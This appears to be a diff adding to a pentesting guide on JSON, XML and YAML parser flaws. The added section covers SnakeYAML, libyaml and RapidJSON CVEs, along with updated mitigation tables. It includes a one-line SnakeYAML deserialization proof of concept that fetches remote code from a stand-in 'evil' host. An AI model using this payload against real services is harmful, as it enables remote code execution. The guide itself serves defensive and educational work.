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Add content from: Research Update: Enhanced src/pentesting-web/json-xml-yaml-h...
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@ -128,16 +128,53 @@ Result:
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- **YAML** parser: `Action_1` (case-sensitive)
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- **XML** parser: parses `"Action_3"` inside the string
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---
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### 🔐 Mitigations
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## Notable Parser Vulnerabilities (2023-2025)
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| Risk | Fix |
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|-----------------------------|---------------------------------------|
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| Unknown fields | `decoder.DisallowUnknownFields()` |
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| Duplicate fields (JSON) | ❌ No fix in stdlib |
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| Case-insensitive match | ❌ No fix in stdlib |
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| XML garbage data | ❌ No fix in stdlib |
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| YAML: unknown keys | `yaml.KnownFields(true)` |
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> The following publicly-exploitable issues show that insecure parsing is a multi-language problem — not just a Go problem.
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### SnakeYAML Deserialization RCE (CVE-2022-1471)
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* Affects: `org.yaml:snakeyaml` < **2.0** (used by Spring-Boot, Jenkins, etc.).
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* Root cause: `new Constructor()` deserializes **arbitrary Java classes**, allowing gadget chains that culminate in remote-code execution.
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* One-liner PoC (will open the calculator on vulnerable host):
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```yaml
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!!javax.script.ScriptEngineManager [ !!java.net.URLClassLoader [[ !!java.net.URL ["http://evil/"] ] ] ]
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```
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* Fix / Mitigation:
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1. **Upgrade to ≥2.0** (uses `SafeLoader` by default).
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2. On older versions, explicitly use `new Yaml(new SafeConstructor())`.
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### libyaml Double-Free (CVE-2024-35325)
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* Affects: `libyaml` ≤0.2.5 (C library leveraged by many language bindings).
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* Issue: Calling `yaml_event_delete()` twice leads to a double-free that attackers can turn into DoS or, in some scenarios, heap exploitation.
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* Status: Upstream rejected as “API misuse”, but Linux distributions shipped patched **0.2.6** that null-frees the pointer defensively.
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### RapidJSON Integer (Under|Over)-flow (CVE-2024-38517 / CVE-2024-39684)
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* Affects: Tencent **RapidJSON** before commit `8269bc2` (<1.1.0-patch-22).
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* Bug: In `GenericReader::ParseNumber()` unchecked arithmetic lets attackers craft huge numeric literals that wrap around and corrupt the heap — ultimately enabling privilege-escalation when the resulting object graph is used for authorization decisions.
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---
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### 🔐 Mitigations (Updated)
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| Risk | Fix / Recommendation |
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|-------------------------------------|------------------------------------------------------------|
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| Unknown fields (JSON) | `decoder.DisallowUnknownFields()` |
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| Duplicate fields (JSON) | ❌ No fix in stdlib — validate with [`jsoncheck`](https://github.com/dvsekhvalnov/johnny-five) |
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| Case-insensitive match (Go) | ❌ No fix — validate struct tags + pre-canonicalize input |
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| XML garbage data / XXE | Use a hardened parser (`encoding/xml` + `DisallowDTD`) |
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| YAML unknown keys | `yaml.KnownFields(true)` |
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| **Unsafe YAML deserialization** | Use SafeConstructor / upgrade to SnakeYAML ≥2.0 |
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| libyaml ≤0.2.5 double-free | Upgrade to **0.2.6** or distro-patched release |
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| RapidJSON <patched commit | Compile against latest RapidJSON (≥July 2024) |
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## References
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- Baeldung – “Resolving CVE-2022-1471 With SnakeYAML 2.0”
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- Ubuntu Security Tracker – CVE-2024-35325 (libyaml)
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{{#include ../banners/hacktricks-training.md}}
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